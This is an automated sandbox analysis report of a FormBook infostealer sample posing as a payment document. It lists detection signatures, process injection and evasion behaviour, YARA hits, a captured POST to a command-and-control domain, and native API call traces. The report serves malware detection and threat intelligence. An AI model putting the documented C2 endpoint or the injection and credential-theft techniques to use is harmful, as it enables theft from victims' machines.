Edit tour

Windows Analysis Report
SOA - Final Payment.exe

Overview

General Information

Sample name:	SOA - Final Payment.exe
Analysis ID:	1612352
MD5:	070cf235938777838e7c55c9f0c02993
SHA1:	e32f0362867403655ca9ba219b40d453fd9ad096
SHA256:	004d0b8aa2bc2236e124fceddc2ef21c091678fc622d6bce5ed02292b0b971e4
Tags:	exeuser-abuse_ch
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected FormBook

.NET source code contains potential unpacker

Found direct / indirect Syscall (likely to bypass EDR)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SOA - Final Payment.exe (PID: 7296 cmdline: "C:\Users\user\Desktop\SOA - Final Payment.exe" MD5: 070CF235938777838E7C55C9F0C02993)

SOA - Final Payment.exe (PID: 7484 cmdline: "C:\Users\user\Desktop\SOA - Final Payment.exe" MD5: 070CF235938777838E7C55C9F0C02993)

SOA - Final Payment.exe (PID: 7492 cmdline: "C:\Users\user\Desktop\SOA - Final Payment.exe" MD5: 070CF235938777838E7C55C9F0C02993)

SOA - Final Payment.exe (PID: 7504 cmdline: "C:\Users\user\Desktop\SOA - Final Payment.exe" MD5: 070CF235938777838E7C55C9F0C02993)

6UCrnFl0sVXS7jZvJ.exe (PID: 6728 cmdline: "C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\QTRArnsBh.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)

secinit.exe (PID: 7964 cmdline: "C:\Windows\SysWOW64\secinit.exe" MD5: 3B4B8DB765C75B8024A208AE6915223C)

6UCrnFl0sVXS7jZvJ.exe (PID: 3332 cmdline: "C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\OxrzgCNXBfF.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)

firefox.exe (PID: 8188 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.2602456510.0000000002A50000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2603116280.0000000002CF0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.1730940118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.1733251033.0000000001590000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2605626950.0000000002F70000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.1733539171.0000000001690000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.2605336113.0000000002680000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Process Memory Space: SOA - Final Payment.exe PID: 7296	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.SOA - Final Payment.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
5.2.SOA - Final Payment.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

HTTP traffic detected: POST /s3u9/ HTTP/1.1Host: www.bydotoparca.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-USOrigin: http://www.bydotoparca.netCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 191Connection: closeReferer: http://www.bydotoparca.net/s3u9/User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MASMJS)Data Raw: 34 4a 3d 5a 78 4c 69 52 69 71 6e 65 39 4a 77 4b 35 57 2b 49 4a 4d 6d 46 46 6c 79 57 6a 49 45 79 68 36 64 53 57 2b 6c 35 72 51 6f 6a 48 76 62 64 50 2f 6a 6e 2f 57 59 75 72 2b 54 68 32 38 78 53 79 2b 67 76 67 6f 53 71 61 72 68 67 49 51 6a 42 55 79 35 42 6f 66 53 6e 39 6f 73 4a 35 36 52 49 2f 4f 4a 51 51 63 58 65 56 64 43 61 41 55 49 58 49 78 50 37 31 73 55 32 6e 37 62 4b 61 70 72 32 5a 44 30 30 6a 6c 6b 49 68 59 42 56 46 75 2f 68 54 52 34 79 57 75 42 73 38 35 59 50 34 6b 7a 34 52 50 41 6e 62 2b 41 74 36 39 74 42 6e 69 52 50 78 46 52 61 6a 2b 57 39 74 47 6c 69 58 51 34 Data Ascii: 4J=ZxLiRiqne9JwK5W+IJMmFFlyWjIEyh6dSW+l5rQojHvbdP/jn/WYur+Th28xSy+gvgoSqarhgIQjBUy5BofSn9osJ56RI/OJQQcXeVdCaAUIXIxP71sU2n7bKapr2ZD00jlkIhYBVFu/hTR4yWuBs85YP4kz4RPAnb+At69tBniRPxFRaj+W9tGliXQ4

Source: 6UCrnFl0sVXS7jZvJ.exe, 0000000B.00000002.2608255794.0000000004FC0000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.bydotoparca.net
Source: 6UCrnFl0sVXS7jZvJ.exe, 0000000B.00000002.2608255794.0000000004FC0000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.bydotoparca.net/s3u9/
Source: secinit.exe, 0000000A.00000003.1939912521.0000000007C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: secinit.exe, 0000000A.00000003.1939912521.0000000007C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: secinit.exe, 0000000A.00000003.1939912521.0000000007C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: secinit.exe, 0000000A.00000003.1939912521.0000000007C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: secinit.exe, 0000000A.00000003.1939912521.0000000007C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: secinit.exe, 0000000A.00000003.1939912521.0000000007C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: secinit.exe, 0000000A.00000003.1939912521.0000000007C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: secinit.exe, 0000000A.00000002.2603324583.0000000002D92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: secinit.exe, 0000000A.00000002.2603324583.0000000002DBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: secinit.exe, 0000000A.00000003.1927763336.0000000007B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: secinit.exe, 0000000A.00000002.2603324583.0000000002D92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: secinit.exe, 0000000A.00000002.2603324583.0000000002D92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: secinit.exe, 0000000A.00000002.2603324583.0000000002D92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: secinit.exe, 0000000A.00000002.2603324583.0000000002DBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: secinit.exe, 0000000A.00000003.1939912521.0000000007C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: secinit.exe, 0000000A.00000003.1939912521.0000000007C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 5.2.SOA - Final Payment.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.SOA - Final Payment.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2602456510.0000000002A50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2603116280.0000000002CF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1730940118.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1733251033.0000000001590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2605626950.0000000002F70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1733539171.0000000001690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2605336113.0000000002680000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: SOA - Final Payment.exe

Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0042CB93 NtClose,	5_2_0042CB93
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B35C0 NtCreateMutant,LdrInitializeThunk,	5_2_012B35C0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2B60 NtClose,LdrInitializeThunk,	5_2_012B2B60
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_012B2DF0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_012B2C70
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B3010 NtOpenDirectoryObject,	5_2_012B3010
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B3090 NtSetValueKey,	5_2_012B3090
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B4340 NtSetContextThread,	5_2_012B4340
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B4650 NtSuspendThread,	5_2_012B4650
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B39B0 NtGetContextThread,	5_2_012B39B0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2BA0 NtEnumerateValueKey,	5_2_012B2BA0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2B80 NtQueryInformationFile,	5_2_012B2B80
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2BE0 NtQueryValueKey,	5_2_012B2BE0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2BF0 NtAllocateVirtualMemory,	5_2_012B2BF0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2AB0 NtWaitForSingleObject,	5_2_012B2AB0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2AF0 NtWriteFile,	5_2_012B2AF0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2AD0 NtReadFile,	5_2_012B2AD0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2D30 NtUnmapViewOfSection,	5_2_012B2D30
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2D00 NtSetInformationFile,	5_2_012B2D00
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2D10 NtMapViewOfSection,	5_2_012B2D10
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B3D10 NtOpenProcessToken,	5_2_012B3D10
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B3D70 NtOpenThread,	5_2_012B3D70
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2DB0 NtEnumerateKey,	5_2_012B2DB0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2DD0 NtDelayExecution,	5_2_012B2DD0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2C00 NtQueryInformationProcess,	5_2_012B2C00
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2C60 NtCreateKey,	5_2_012B2C60
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2CA0 NtQueryInformationToken,	5_2_012B2CA0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2CF0 NtOpenProcess,	5_2_012B2CF0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2CC0 NtQueryVirtualMemory,	5_2_012B2CC0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2F30 NtCreateSection,	5_2_012B2F30
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2F60 NtCreateProcessEx,	5_2_012B2F60
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2FA0 NtQuerySection,	5_2_012B2FA0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2FB0 NtResumeThread,	5_2_012B2FB0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2F90 NtProtectVirtualMemory,	5_2_012B2F90
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2FE0 NtCreateFile,	5_2_012B2FE0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2E30 NtWriteVirtualMemory,	5_2_012B2E30
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2EA0 NtAdjustPrivilegesToken,	5_2_012B2EA0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2E80 NtReadVirtualMemory,	5_2_012B2E80
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B2EE0 NtQueueApcThread,	5_2_012B2EE0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D4340 NtSetContextThread,LdrInitializeThunk,	10_2_033D4340
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D4650 NtSuspendThread,LdrInitializeThunk,	10_2_033D4650
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2B60 NtClose,LdrInitializeThunk,	10_2_033D2B60
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2BA0 NtEnumerateValueKey,LdrInitializeThunk,	10_2_033D2BA0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	10_2_033D2BF0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2BE0 NtQueryValueKey,LdrInitializeThunk,	10_2_033D2BE0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2AF0 NtWriteFile,LdrInitializeThunk,	10_2_033D2AF0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2AD0 NtReadFile,LdrInitializeThunk,	10_2_033D2AD0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2F30 NtCreateSection,LdrInitializeThunk,	10_2_033D2F30
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2FB0 NtResumeThread,LdrInitializeThunk,	10_2_033D2FB0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2FE0 NtCreateFile,LdrInitializeThunk,	10_2_033D2FE0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2E80 NtReadVirtualMemory,LdrInitializeThunk,	10_2_033D2E80
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2EE0 NtQueueApcThread,LdrInitializeThunk,	10_2_033D2EE0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2D30 NtUnmapViewOfSection,LdrInitializeThunk,	10_2_033D2D30
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2D10 NtMapViewOfSection,LdrInitializeThunk,	10_2_033D2D10
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2DF0 NtQuerySystemInformation,LdrInitializeThunk,	10_2_033D2DF0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2DD0 NtDelayExecution,LdrInitializeThunk,	10_2_033D2DD0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2C70 NtFreeVirtualMemory,LdrInitializeThunk,	10_2_033D2C70
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2C60 NtCreateKey,LdrInitializeThunk,	10_2_033D2C60
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2CA0 NtQueryInformationToken,LdrInitializeThunk,	10_2_033D2CA0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D35C0 NtCreateMutant,LdrInitializeThunk,	10_2_033D35C0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D39B0 NtGetContextThread,LdrInitializeThunk,	10_2_033D39B0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2B80 NtQueryInformationFile,	10_2_033D2B80
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2AB0 NtWaitForSingleObject,	10_2_033D2AB0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2F60 NtCreateProcessEx,	10_2_033D2F60
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2FA0 NtQuerySection,	10_2_033D2FA0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2F90 NtProtectVirtualMemory,	10_2_033D2F90
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2E30 NtWriteVirtualMemory,	10_2_033D2E30
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2EA0 NtAdjustPrivilegesToken,	10_2_033D2EA0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2D00 NtSetInformationFile,	10_2_033D2D00
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2DB0 NtEnumerateKey,	10_2_033D2DB0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2C00 NtQueryInformationProcess,	10_2_033D2C00
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2CF0 NtOpenProcess,	10_2_033D2CF0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D2CC0 NtQueryVirtualMemory,	10_2_033D2CC0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D3010 NtOpenDirectoryObject,	10_2_033D3010
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D3090 NtSetValueKey,	10_2_033D3090
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D3D10 NtOpenProcessToken,	10_2_033D3D10
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D3D70 NtOpenThread,	10_2_033D3D70
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A79240 NtCreateFile,	10_2_02A79240
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A793A0 NtReadFile,	10_2_02A793A0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A79690 NtAllocateVirtualMemory,	10_2_02A79690
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A79490 NtDeleteFile,	10_2_02A79490
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A79530 NtClose,	10_2_02A79530
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0318F980 NtSetContextThread,	10_2_0318F980

Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0184DFC4	0_2_0184DFC4
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792BF78	0_2_0792BF78
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_07929E48	0_2_07929E48
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792A668	0_2_0792A668
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_07921A40	0_2_07921A40
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792B068	0_2_0792B068
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792CF80	0_2_0792CF80
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792BF25	0_2_0792BF25
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_07928F58	0_2_07928F58
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792CF70	0_2_0792CF70
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_07928F68	0_2_07928F68
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792A658	0_2_0792A658
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792DDD0	0_2_0792DDD0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792DDC2	0_2_0792DDC2
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792E5F0	0_2_0792E5F0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792E5E1	0_2_0792E5E1
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792E352	0_2_0792E352
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792E360	0_2_0792E360
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_07921A30	0_2_07921A30
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792E1F0	0_2_0792E1F0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792E1E0	0_2_0792E1E0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792B058	0_2_0792B058
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B783B08	0_2_0B783B08
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B782870	0_2_0B782870
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B7841E8	0_2_0B7841E8
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B782B08	0_2_0B782B08
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B782AF8	0_2_0B782AF8
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B783AF8	0_2_0B783AF8
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B782860	0_2_0B782860
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B782FB0	0_2_0B782FB0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B782FA1	0_2_0B782FA1
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B782D58	0_2_0B782D58
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B782D49	0_2_0B782D49
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B78DC70	0_2_0B78DC70
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B78B350	0_2_0B78B350
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B7841D9	0_2_0B7841D9
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B780040	0_2_0B780040
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B78001F	0_2_0B78001F
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B78B788	0_2_0B78B788
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B7846B8	0_2_0B7846B8
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B7846B2	0_2_0B7846B2
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00418B63	5_2_00418B63
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0042F1F3	5_2_0042F1F3
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00402AE0	5_2_00402AE0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_004033C5	5_2_004033C5
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_004033D0	5_2_004033D0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_004103AA	5_2_004103AA
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_004103B3	5_2_004103B3
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00416D5E	5_2_00416D5E
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00416D63	5_2_00416D63
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0040E5C3	5_2_0040E5C3
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_004105D3	5_2_004105D3
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00402582	5_2_00402582
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00402590	5_2_00402590
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00402F40	5_2_00402F40
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0040E75C	5_2_0040E75C
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0040276A	5_2_0040276A
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00402770	5_2_00402770
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0040E712	5_2_0040E712
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0040E713	5_2_0040E713
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00402F3D	5_2_00402F3D
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01270100	5_2_01270100
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0131A118	5_2_0131A118
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012B516C	5_2_012B516C
